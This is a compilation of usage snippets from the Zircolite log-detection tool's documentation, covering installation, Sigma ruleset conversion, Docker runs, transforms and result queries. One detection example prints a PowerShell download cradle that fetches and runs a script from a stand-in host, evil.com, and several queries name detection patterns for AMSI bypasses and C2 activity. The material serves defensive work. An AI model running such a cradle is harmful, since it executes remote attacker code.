### Minimal Zircolite setup and run Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md A concise sequence for cloning Zircolite, installing its requirements, and performing an initial analysis on a sample EVTX file. ```shell git clone https://github.com/wagga40/Zircolite.git cd Zircolite pip3 install -r requirements.txt ``` ```shell git clone https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES.git python3 zircolite.py --evtx path/to/sample.evtx --ruleset rules/rules_windows_merged.json ``` -------------------------------- ### Install Dependencies Source: https://github.com/wagga40/zircolite/blob/master/docs/README.md Install project dependencies using pip. ```bash pip3 install -r requirements.txt ``` -------------------------------- ### Example YAML configuration file Source: https://github.com/wagga40/zircolite/blob/master/README.md A sample configuration file structure for Zircolite. ```yaml input: path: ./logs/ format: evtx recursive: true rules: rulesets: - rules/rules_windows_merged.json pipelines: - sysmon output: file: detected_events.json format: json processing: streaming: true # Single-pass processing (default: enabled) unified_db: false # Per-file databases (default) auto_mode: true # Automatic mode selection (default: enabled) parallel: enabled: true # Parallel processing (auto-enabled when beneficial) max_workers: null # Auto-detect based on CPU/memory memory_limit_percent: 85.0 ``` -------------------------------- ### Install Zircolite with UV Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Clone the Zircolite repository and install dependencies using UV. UV automatically handles virtual environments and reads from pyproject.toml. ```shell git clone https://github.com/wagga40/Zircolite.git cd Zircolite uv sync ``` -------------------------------- ### Install Zircolite with venv Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Clone the repository, set up a Python virtual environment using venv, and install dependencies from requirements.txt. ```shell git clone https://github.com/wagga40/Zircolite.git cd Zircolite python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt ``` -------------------------------- ### List Available Pipelines Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Display installed pySigma pipelines. ```bash python3 zircolite.py -pl python3 zircolite.py --pipeline-list ``` -------------------------------- ### Install Zircolite with Poetry Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Clone the Zircolite repository and install dependencies using Poetry. If pyproject.toml does not cover all dependencies, install from requirements.txt as a fallback. ```shell git clone https://github.com/wagga40/Zircolite.git cd Zircolite poetry install pip install -r requirements.txt # if pyproject.toml doesn't cover all deps ``` -------------------------------- ### Querying Transform Results Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md SQL examples for querying transformed log data. ```sql -- Find commands with download cradles SELECT * FROM logs WHERE CommandLine_DownloadCradle != '' -- Find PowerShell with XOR operations SELECT * FROM logs WHERE ScriptBlockText_XORPatterns LIKE '%XOR_KEY%' -- Find AMSI bypass attempts SELECT * FROM logs WHERE CommandLine_AMSIBypass LIKE '%AMSI%' -- Find high-entropy DNS queries (potential DGA) SELECT * FROM logs WHERE CAST(QueryName_EntropyScore AS REAL) > 75 -- Find typosquatted process names (masquerading) SELECT * FROM logs WHERE Image_TyposquatDetect != '' -- Find typosquatted government domains (phishing) SELECT * FROM logs WHERE QueryName_TyposquatDetect LIKE '%GOV_%' -- Find typosquatted banking domains SELECT * FROM logs WHERE QueryName_TyposquatDetect LIKE '%BANK%' -- Find domain typosquats with suspicious TLDs SELECT * FROM logs WHERE QueryName_TyposquatDetect LIKE '%SUSPICIOUS_TLD%' ``` -------------------------------- ### Install Zircolite with PDM Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Clone the Zircolite repository and install dependencies using PDM, which manages the project's Python environment and packages based on pyproject.toml. ```shell git clone https://github.com/wagga40/Zircolite.git cd Zircolite pdm install ``` -------------------------------- ### Define Zircolite Configuration Formats Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Examples of the structure for Zircolite configuration files in JSON and YAML formats. ```json { "exclusions" : [], "useless" : [], "mappings" : { "field_name_1": "new_field_name_1", "field_name_2": "new_field_name_2" }, "alias": { "field_alias_1": "alias_1" }, "split": { "field_name_split": {"separator":",", "equal":"="} }, "transforms_enabled": true, "transforms": {} } ``` ```yaml # Field mappings configuration exclusions: - xmlns # Exclude XML namespace attributes useless: - null - "" mappings: # Rename nested fields to simpler names Event.System.EventID: EventID Event.EventData.CommandLine: CommandLine alias: CommandLine: cmd # Create alias 'cmd' for CommandLine split: Hashes: separator: "," equal: "=" transforms_enabled: true transforms: {} ``` -------------------------------- ### Select EVTX files using a glob pattern Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Use the --file-pattern argument with a Python glob pattern to select specific files. This example selects files starting with 'Security' and ending with '.evtx'. ```shell python3 zircolite.py --evtx logs/ --ruleset rules/rules_windows_merged.json \ --file-pattern "Security*.evtx" ``` -------------------------------- ### Build Docker Image Source: https://github.com/wagga40/zircolite/blob/master/docs/README.md Build the Zircolite Docker image. Requires Docker to be installed. ```bash task docker-build ``` -------------------------------- ### Zircolite with Multiple Rulesets Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Example demonstrating how to use both a Zircolite-formatted ruleset and a Sigma YAML rule file simultaneously. ```shell # Example with a Zircolite ruleset and a Sigma rule python3 zircolite.py --events sample.evtx --ruleset rules/rules_windows_merged.json \ --ruleset schtasks.yml ``` -------------------------------- ### Example XML Log Format Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md The expected one-event-per-line XML format produced by evtx_dump. ```xml 15410XXXXXXXXMicrosoft-Windows-Sysmon/OperationalXXXXXXXXXXXXXXX-XX-XX XX:XX:XX.XXXXXXXXXXXXXXXXXXXXXXXXXXXXMicrosoft® Windows® Operating SystemMicrosoft CorporationXXXXXXXXXXXXXXXXXXXXXXXXXXXX0HighXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ``` -------------------------------- ### Testing External Transforms Locally Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Command-line examples for using `transform_tester.py` to develop and test Python transforms in the Zircolite sandbox environment. ```bash python config/transform_tester.py config/transforms/image_exename.py "C:\\Windows\\cmd.exe" python config/transform_tester.py my_transform.py --interactive python config/transform_tester.py --list-builtins ``` -------------------------------- ### Configure Field Splitting for Sysmon Hashes Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Example configuration to split a comma-separated hash string into individual fields. ```json { "Hashes": "SHA1=XX,MD5=X,SHA256=XXX,IMPHASH=XXXX", "EventID": 1 } ``` ```json { "exclusions" : [], "useless" : [], "mappings" : {}, "alias":{}, "split": { "Hashes": {"separator":",", "equal":"="} } } ``` ```json { "SHA1": "x", "MD5": "x", "SHA256": "x", "IMPHASH": "x", "Hashes": "SHA1=x,MD5=x,SHA256=x,IMPHASH=x", "EventID": 1 } ``` -------------------------------- ### Get Zircolite Version Source: https://github.com/wagga40/zircolite/blob/master/docs/README.md Print the current version of Zircolite. ```bash task get-version ``` -------------------------------- ### Generate Zircolite Rulesets with sigma-cli Source: https://context7.com/wagga40/zircolite/llms.txt Commands to install dependencies, clone the Sigma repository, and generate specific rulesets for Sysmon and generic Windows logs. ```bash # Install sigma-cli and required packages pip install sigma-cli pysigma-pipeline-sysmon pysigma-pipeline-windows pysigma-backend-sqlite # Clone Sigma rules repository git clone https://github.com/SigmaHQ/sigma.git cd sigma # Generate Sysmon ruleset sigma convert -t sqlite -f zircolite \ -p sysmon -p windows-logsources \ sigma/rules/windows/ \ -s -o rules_sysmon.json # Generate generic Windows ruleset (no Sysmon) sigma convert -t sqlite -f zircolite \ -p windows-audit -p windows-logsources \ sigma/rules/windows/ \ -s -o rules_generic.json ``` -------------------------------- ### Generate Zircolite Ruleset using PDM/Poetry (Generic) Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Converts Sigma rules to Zircolite format using pySigma CLI with PDM or Poetry, for generic Windows logs. Installs dependencies and executes the conversion. ```shell git clone https://github.com/SigmaHQ/sigma.git cd sigma pdm init -n pdm add pysigma sigma-cli pysigma-pipeline-sysmon pysigma-pipeline-windows pysigma-backend-sqlite pdm run sigma convert -t sqlite -f zircolite -p windows-audit -p windows-logsources sigma/rules/windows/ -s -o rules.json ``` -------------------------------- ### Configure Field Mapping Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Example configuration to rename the 'CommandLine' field to 'cmdline'. Note that the original field name is not preserved. ```json { "exclusions" : [], "useless" : [], "mappings" : { "CommandLine": "cmdline" }, "alias":{}, "split": {} } ``` -------------------------------- ### Run Zircolite analysis with venv Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md After installing with venv, clone sample data and run Zircolite to analyze EVTX files using specified rulesets. Remember to deactivate the virtual environment when done. ```shell git clone https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES.git python3 zircolite.py -e EVTX-ATTACK-SAMPLES/ -r rules/rules_windows_merged.json deactivate # Exit the Python virtual environment ``` -------------------------------- ### Generate Zircolite Ruleset using PDM/Poetry (Sysmon) Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Converts Sigma rules to Zircolite format using pySigma CLI with PDM or Poetry. Installs necessary dependencies and runs the conversion command. ```shell git clone https://github.com/SigmaHQ/sigma.git cd sigma pdm init -n pdm add pysigma sigma-cli pysigma-pipeline-sysmon pysigma-pipeline-windows pysigma-backend-sqlite pdm run sigma convert -t sqlite -f zircolite -p sysmon -p windows-logsources sigma/rules/windows/ -s -o rules.json ``` -------------------------------- ### Detecting PowerShell Download Cradles Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Example of identifying malicious download cradles and extracting URLs from PowerShell commands. ```powershell powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/mal.ps1')" ``` ```text DOWNLOADSTRING|WEBCLIENT ``` ```text http://evil.com/mal.ps1 ``` -------------------------------- ### Generate Zircolite Ruleset using UV (Sysmon) Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Converts Sigma rules to Zircolite format using pySigma CLI with UV for environment management. Sets up a virtual environment and installs dependencies before conversion. ```shell git clone https://github.com/SigmaHQ/sigma.git cd sigma uv venv source .venv/bin/activate # Windows: .venv\Scripts\activate uv pip install pysigma sigma-cli pysigma-pipeline-sysmon pysigma-pipeline-windows pysigma-backend-sqlite uv run sigma convert -t sqlite -f zircolite -p sysmon -p windows-logsources sigma/rules/windows/ -s -o rules.json ``` -------------------------------- ### Display Help Source: https://github.com/wagga40/zircolite/blob/master/README.md Access the command-line help menu for Zircolite. ```shell python3 zircolite.py -h ``` -------------------------------- ### Configure Zircolite Docsify Source: https://github.com/wagga40/zircolite/blob/master/docs/index.html Set up Zircolite's documentation interface with custom search options and a mermaid renderer. Ensure mermaid.js is initialized. ```javascript window.$docsify = { name: 'Zircolite', repo: 'wagga40/Zircolite', auto2top: true, loadSidebar: true, search: { placeholder: 'Search', noData: 'No results', depth: 3 }, markdown: { renderer: { code: function(code, lang) { if (lang === 'mermaid') { return '
' + code + '
'; } return this.origin.code.apply(this, arguments); } } } } mermaid.initialize({ startOnLoad: false }); window.$docsify.plugins = (window.$docsify.plugins || []).concat(function(hook) { hook.doneEach(function() { mermaid.run({ querySelector: '.mermaid' }); }); }); ``` -------------------------------- ### Generate Mini-GUI Source: https://context7.com/wagga40/zircolite/llms.txt Create a self-contained HTML package for interactive exploration of results. ```bash # Generate Mini-GUI package python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --package # Specify output directory for package python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --package \ --package-dir /path/to/output/ ``` -------------------------------- ### Build Multi-Architecture Docker Image Source: https://github.com/wagga40/zircolite/blob/master/docs/README.md Build a multi-architecture Docker image for linux/amd64 and linux/arm64. ```bash task docker-build-multi-arch ``` -------------------------------- ### List Available Tasks Source: https://github.com/wagga40/zircolite/blob/master/docs/README.md List all available tasks defined in the Taskfile. ```bash task --list ``` -------------------------------- ### Example VirusTotal XML Log Format Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md XML log format provided by VirusTotal enterprise accounts. ```xml 13241300x8000000000000000749827Microsoft-Windows-Sysmon/OperationalXXXXXX-SetValueXXXX-XX-XX XX:XX:XX.XXXXXXXXXXXXXXXC:\Windows\Explorer.EXEXXXXXXXXBinary Data ``` -------------------------------- ### Generate GUI Template Source: https://context7.com/wagga40/zircolite/llms.txt Create a JavaScript file for ZircoGui using a specific template. ```bash python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --template templates/exportForZircoGui.tmpl \ --templateOutput data.js ``` -------------------------------- ### Manage Database and Export Options Source: https://context7.com/wagga40/zircolite/llms.txt Commands for saving, reusing, and flattening event data into SQLite or JSONL formats. ```bash # Save database to file python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --dbfile events.db # Reuse saved database (skip EVTX parsing) python3 zircolite.py --evtx events.db \ --ruleset rules/rules_windows_merged.json \ --db-input # Save flattened events as JSONL python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --keepflat # Add hashes for event deduplication python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --hashes \ --dbfile events.db # Add custom database indexes python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --dbfile events.db \ --add-index SystemTime Computer ``` -------------------------------- ### Generate Mini-GUI Package Source: https://github.com/wagga40/zircolite/blob/master/README.md Command-line option to generate an offline Mini-GUI package. Use `--package-dir` to specify the output directory for the package. ```bash --package --package-dir ``` -------------------------------- ### Select multiple specific EVTX channels/files Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Use multiple --select arguments to specify a list of channels or file names to process. This is useful for optimizing with specific rulesets like the Sysmon ruleset. ```shell python3 zircolite.py --evtx logs/ --ruleset rules/rules_windows_merged.json \ --select sysmon --select security.evtx --select system.evtx \ --select application.evtx --select Windows-NTLM --select DNS \ --select powershell --select defender --select applocker \ --select driverframeworks --select "msexchange management" \ --select TaskScheduler --select WMI-activity ``` -------------------------------- ### Run Zircolite Basic Source: https://github.com/wagga40/zircolite/blob/master/docs/README.md Run Zircolite with specified events and ruleset. ```bash python3 zircolite.py --events --ruleset ``` -------------------------------- ### Manage Transforms via CLI Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Use command-line arguments to enable specific transform categories or list available options. ```bash # Enable all transforms in the commandline and process categories python3 zircolite.py -e logs/ --transform-category commandline --transform-category process # Enable ALL transforms at once python3 zircolite.py -e logs/ --all-transforms # List available categories and their transforms python3 zircolite.py --transform-list ``` -------------------------------- ### Generate Zircolite Ruleset using pip/venv (Sysmon) Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Converts Sigma rules to Zircolite format using pySigma CLI with pip and venv. Requires installation of sigma-cli, pysigma pipelines, and the SQLite backend. ```shell pip install sigma-cli pysigma-pipeline-sysmon pysigma-pipeline-windows pysigma-backend-sqlite git clone https://github.com/SigmaHQ/sigma.git cd sigma sigma convert -t sqlite -f zircolite -p sysmon -p windows-logsources sigma/rules/windows/ -s -o rules.json ``` -------------------------------- ### Execute via Docker Source: https://context7.com/wagga40/zircolite/llms.txt Run Zircolite in a containerized environment with volume mounts for logs and output. ```bash # Pull official image docker pull wagga40/zircolite:latest # Basic execution with volume mount docker run --rm --tty \ -v /path/to/logs:/case/input:ro \ -v /path/to/output:/case/output \ wagga40/zircolite:latest \ --evtx /case/input \ --ruleset rules/rules_windows_merged.json \ --outfile /case/output/detected_events.json # With custom ruleset docker run --rm --tty \ -v /path/to/logs:/case \ wagga40/zircolite:latest \ --evtx /case/logs.evtx \ --ruleset /case/custom_rules.json \ --outfile /case/results.json ``` -------------------------------- ### Run Zircolite with Docker Source: https://github.com/wagga40/zircolite/blob/master/README.md Execute Zircolite inside a container by mounting local directories for logs and rules. ```bash # Pull the Docker image docker pull wagga40/zircolite:latest # If your logs and rules are in a specific directory docker run --rm --tty \ -v $PWD:/case/input:ro \ -v $PWD:/case/output \ wagga40/zircolite:latest \ -e /case/input \ -o /case/output/detected_events.json \ -r /case/input/a_sigma_rule.yml ``` -------------------------------- ### Build and Run Zircolite Docker Image Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Build a custom Docker image for Zircolite and run a container to process log files. Mount volumes for logs and results. ```shell docker build . -t docker container run --tty \ --volume :/case wagga40/zircolite:latest \ --ruleset rules/rules_windows_merged.json \ --events /case \ --outfile /case/detected_events.json ``` -------------------------------- ### Select 'operational' logs and exclude 'defender' logs Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Combine --select and --avoid arguments to first include files matching 'operational' and then exclude files matching 'defender'. ```shell python3 zircolite.py --evtx logs/ --ruleset rules/rules_windows_merged.json \ --select operational --avoid defender ``` -------------------------------- ### Manage Zircolite via YAML configuration Source: https://github.com/wagga40/zircolite/blob/master/README.md Use YAML files for complex workflows. CLI arguments take precedence over configuration file settings. ```bash # Generate a default configuration file python3 zircolite.py --generate-config my_config.yaml # Run with a configuration file python3 zircolite.py --yaml-config my_config.yaml # CLI arguments override config file settings python3 zircolite.py --yaml-config my_config.yaml --evtx ./other_logs/ ``` -------------------------------- ### Lateral movement timeline with jq Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Generate a timeline of lateral movement events, sorted by system time, and display relevant fields like SystemTime, User, and the lateral movement indicator. ```bash jq '[.[].matches[] | select(.CommandLine_LateralMovement != null and .CommandLine_LateralMovement != "")] | sort_by(.SystemTime) | .[] | {SystemTime, User, CommandLine_LateralMovement}' detected_events.json ``` -------------------------------- ### Configure manual parallel settings Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Fine-tune parallel execution by setting worker limits and memory thresholds. ```shell # Set maximum workers python3 zircolite.py --evtx logs/ --ruleset rules.json --parallel-workers 8 # Set memory threshold for throttling (default: 75%) python3 zircolite.py --evtx logs/ --ruleset rules.json --parallel-memory-limit 80 ``` -------------------------------- ### Generate Mini-GUI Package Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md This command generates a ZIP package for the Zircolite Mini-GUI, which can be used offline for displaying and searching results. Use `--package-dir` to specify the output location. ```shell python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --package --package-dir /path/to/output ``` -------------------------------- ### Run Zircolite with EVTX Source: https://github.com/wagga40/zircolite/blob/master/docs/README.md Run Zircolite with an EVTX file and Windows merged rules. ```bash python3 zircolite.py --evtx sample.evtx --ruleset rules/rules_windows_merged.json ``` -------------------------------- ### Creating Custom Transforms Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Configuration template for adding custom Python-based transforms. ```yaml transforms: MyField: - info: "Description of transform" type: python code: | def transform(param): # Your Python code here # param contains the field value # Return the transformed value return transformed_value alias: true # Create new field (true) or modify original (false) alias_name: "MyField_Transformed" source_condition: - evtx_input - json_input enabled: true ``` -------------------------------- ### Configure Field Aliases Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Demonstrates creating an alias for a field, which results in the data being stored under both the original and the alias name. ```json { "EventID": 1, "Provider_Name": "Microsoft-Windows-Sysmon", "Channel": "Microsoft-Windows-Sysmon/Operational", "CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "IntegrityLevel": "Medium" } ``` ```json { "exclusions" : [], "useless" : [], "mappings" : {}, "alias":{ "CommandLine": "cmdline" }, "split": {} } ``` ```json { "EventID": 1, "Provider_Name": "Microsoft-Windows-Sysmon", "Channel": "Microsoft-Windows-Sysmon/Operational", "CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"", "cmdline": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "IntegrityLevel": "Medium" } ``` -------------------------------- ### Apply Pipelines to Rules Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Use the -p or --pipeline option to apply specific pySigma pipelines during rule conversion. ```bash python3 zircolite.py -e sample.evtx -r schtasks.yml -p sysmon -p windows-logsources ``` -------------------------------- ### Manage YAML Configuration Profiles Source: https://context7.com/wagga40/zircolite/llms.txt Generate and use YAML files to define complex analysis workflows, with CLI arguments acting as overrides. ```bash # Generate default configuration file python3 zircolite.py --generate-config my_config.yaml # Run with configuration file python3 zircolite.py --yaml-config my_config.yaml # CLI arguments override config file python3 zircolite.py --yaml-config my_config.yaml \ --evtx /different/logs/ \ --outfile custom_output.json ``` ```yaml # Example configuration file (my_config.yaml) input: path: ./logs/ format: evtx recursive: true rules: rulesets: - rules/rules_windows_merged.json pipelines: - sysmon - windows-logsources output: file: detected_events.json format: json log_file: zircolite.log processing: streaming: true unified_db: false auto_mode: true time_field: SystemTime time_filter: after: "2024-01-01T00:00:00" before: "2024-12-31T23:59:59" parallel: enabled: true max_workers: null memory_limit_percent: 85.0 ``` -------------------------------- ### Run Zircolite analysis with Poetry Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Run Zircolite analysis using Poetry to manage the execution environment. This command requires sample data and rulesets. ```shell git clone https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES.git poetry run python3 zircolite.py -e EVTX-ATTACK-SAMPLES/ -r rules/rules_windows_merged.json ``` -------------------------------- ### Run Zircolite with automatic optimization Source: https://github.com/wagga40/zircolite/blob/master/README.md Zircolite automatically selects the best processing mode based on workload. ```bash python3 zircolite.py --evtx ./logs/ --ruleset rules/rules_windows_merged.json ``` -------------------------------- ### Combine process and command line analysis with jq Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md This jq query combines multiple transform fields for triage, focusing on LOLBins and related command line details such as entropy, length, download cradles, and URLs. ```bash jq '[.[].matches[] | select(.Image_LOLBinMatch != null and .Image_LOLBinMatch != "")] | map({ time: .SystemTime, lolbin: .Image_LOLBinMatch, entropy: .CommandLine_EntropyScore, length: .CommandLine_Length, download: .CommandLine_DownloadCradle, urls: .CommandLine_URLs })' detected_events.json ``` -------------------------------- ### Run Zircolite with Multiple Rulesets Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Chain multiple rules or rulesets by repeating the -r or --ruleset arguments. ```bash # Multiple rules/rulesets python3 zircolite.py -e sample.evtx -r schtasks.yml -r ./sigma/rules/windows/process_creation ``` -------------------------------- ### Push Docker Image Source: https://github.com/wagga40/zircolite/blob/master/docs/README.md Push the multi-architecture Docker image to Docker Hub. This should be run after a successful multi-arch build. ```bash task docker-push ``` -------------------------------- ### Update Rulesets Source: https://context7.com/wagga40/zircolite/llms.txt Fetch the latest pre-built rulesets from the repository. ```bash # Update all default rulesets python3 zircolite.py --update-rules # Or using Task runner task update-rules ``` -------------------------------- ### Run Zircolite Docker with Read-Only Mounts Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Use read-only bind mounts for input logs and output results when running the Zircolite Docker container to prevent accidental modification of original files. ```shell docker run --rm --tty \ -v :/case/input:ro \ -v :/case/output \ wagga40/zircolite:latest \ --ruleset rules/rules_windows_merged.json \ --events /case/input \ -o /case/output/detected_events.json ``` -------------------------------- ### Run Zircolite with automatic optimization Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Default execution mode where Zircolite analyzes the workload to determine the optimal database mode and parallel worker count. ```shell # Auto-optimization happens by default python3 zircolite.py --evtx ./logs/ --ruleset rules/rules_windows_merged.json # Example output: [+] Analyzing workload... [>] Files 4 (478.2 MB total, avg 119.6 MB) [>] System 33.7 GB RAM available, 10 CPUs [>] DB Mode PER-FILE Few large files detected (4 files, avg 119.6 MB) [>] Parallel ENABLED (4 workers) ``` -------------------------------- ### Transform Configuration Formats Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Alternative JSON and YAML formats for enabling the transforms section. ```json { "transforms_enabled": true, "transforms": { } } ``` ```yaml transforms_enabled: true transforms: {} ``` -------------------------------- ### Re-execute Zircolite using SQLite Database Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md To speed up re-execution, use the saved SQLite database as the event source with `--evtx ` and `--dbonly`. ```shell python3 zircolite.py --evtx --ruleset --dbonly ``` -------------------------------- ### Basic Zircolite Execution Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md The fundamental command to run Zircolite for log analysis. Specify event logs and a ruleset for detection. ```shell python3 zircolite.py --events --ruleset ``` -------------------------------- ### Use Native Sigma Rules Source: https://github.com/wagga40/zircolite/blob/master/README.md Execute analysis using native YAML Sigma rules or directories, optionally applying pySigma pipelines. ```shell python3 zircolite.py --evtx sample.evtx --ruleset path/to/rule.yml python3 zircolite.py --evtx sample.evtx --ruleset ./sigma/rules/windows/process_creation python3 zircolite.py --evtx sample.evtx --ruleset rule.yml --pipeline sysmon --pipeline windows-logsources ``` -------------------------------- ### Timesketch Export Shortcut Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Utilize the `--timesketch` shortcut for a streamlined export to Timesketch format. This automatically uses the `exportForTimesketch.tmpl` template and generates a uniquely named JSON file. ```shell python3 zircolite.py --evtx sample.evtx --ruleset rules/rules_windows_merged.json --timesketch ``` -------------------------------- ### Run Zircolite Docker with Custom Ruleset and Logs Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Execute the Zircolite Docker container specifying a custom ruleset file and a specific log file for analysis. ```shell docker container run --tty \ --volume :/case wagga40/zircolite:latest \ --ruleset /case/my_ruleset.json \ --events /case/my_logs.evtx \ --outfile /case/detected_events.json ``` -------------------------------- ### Manual Mini-GUI Data Generation Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Manually generate the `data.js` file required for the Zircolite Mini-GUI using the `exportForZircoGui.tmpl` template. This involves running Zircolite, decompressing the GUI zip file, and replacing the `data.js` file. ```shell python3 zircolite.py --evtx sample.evtx --ruleset rules/rules_windows_merged.json \ --template templates/exportForZircoGui.tmpl --templateOutput data.js 7z x gui/zircogui.zip mv data.js zircogui/ ``` -------------------------------- ### Query Detection Results with jq and SQL Source: https://context7.com/wagga40/zircolite/llms.txt Post-processing techniques to extract specific indicators from JSON output using jq or by querying the generated SQLite database. ```bash # Find all LOLBins detected across rules jq -r '[.[].matches[].Image_LOLBinMatch // empty] | unique | .[]' detected_events.json # List events with high entropy command lines (obfuscation indicator) jq '[.[].matches[] | select(.CommandLine_EntropyScore | startswith("HIGH") or startswith("VERY_HIGH"))] | map({SystemTime, CommandLine})' detected_events.json # Extract network IOCs from PowerShell detections jq -r '[.[].matches[] | select(.ScriptBlockText_NetworkIOCs != null and .ScriptBlockText_NetworkIOCs != "")] | map(.ScriptBlockText_NetworkIOCs) | unique | .[]' detected_events.json # SQL query on saved database sqlite3 events.db "SELECT * FROM logs WHERE CommandLine_DownloadCradle != ''" # Find potential C2 framework usage sqlite3 events.db "SELECT SystemTime, Image, CommandLine_C2Indicators FROM logs WHERE CommandLine_C2Indicators LIKE '%COBALT_STRIKE%'" ``` -------------------------------- ### Enable Transforms in Configuration Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md YAML configuration to enable specific transforms by name. ```yaml transforms_enabled: true enabled_transforms: # Auditd (Linux) - proctitle - cmd # Uncomment to enable: # - CommandLine_b64decoded # - Image_LOLBinMatch # - ScriptBlockText_ObfuscationIndicators ``` -------------------------------- ### Export Results Source: https://context7.com/wagga40/zircolite/llms.txt Generate output in CSV, JSON templates, or specialized formats like Timesketch and ATT&CK Navigator. ```bash # CSV output python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --csv \ --csv-delimiter "," # Splunk export python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --template templates/exportForSplunk.tmpl \ --templateOutput splunk_events.json # Elasticsearch/ELK export python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --template templates/exportForELK.tmpl \ --templateOutput elk_events.json # Timesketch export (shortcut) python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --timesketch # ATT&CK Navigator layer python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --navigator-output attack_layer.json # Multiple templates simultaneously python3 zircolite.py --evtx sample.evtx \ --ruleset rules/rules_windows_merged.json \ --template templates/exportForSplunk.tmpl \ --templateOutput splunk.json \ --template templates/exportForELK.tmpl \ --templateOutput elk.json ``` -------------------------------- ### Generate Ruleset with Zircolite CLI Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Use this command to convert Sigma rules into a Zircolite-compatible ruleset. Specify the backend type, format, pipelines, and output file. ```shell uv run sigma convert -t sqlite -f zircolite -p windows-audit -p windows-logsources sigma/rules/windows/ -s -o rules.json ``` -------------------------------- ### Run Zircolite analysis with UV Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Execute Zircolite analysis using UV to run the Python script. This command requires sample data and rulesets. ```shell git clone https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES.git uv run python zircolite.py -e EVTX-ATTACK-SAMPLES/ -r rules/rules_windows_merged.json ``` -------------------------------- ### Process EVTXtract Logs with Zircolite Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Command to process recovered EVTX fragments. ```shell python3 zircolite.py --events --ruleset --evtxtract ``` -------------------------------- ### Run Zircolite on a single EVTX file Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Perform a basic Zircolite analysis on a single EVTX file using a specified ruleset. Results are saved to detected_events.json by default. ```shell python3 zircolite.py --evtx path/to/sample.evtx --ruleset rules/rules_windows_merged.json ``` -------------------------------- ### Process Sysmon for Linux Logs with Zircolite Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Commands for processing Sysmon for Linux logs. ```shell # Auto-detected python3 zircolite.py --events sysmon.log --ruleset rules/rules_linux.json # Or explicit python3 zircolite.py --events sysmon.log --ruleset rules/rules_linux.json --sysmon-linux ``` -------------------------------- ### Process Typosquatting Detection Source: 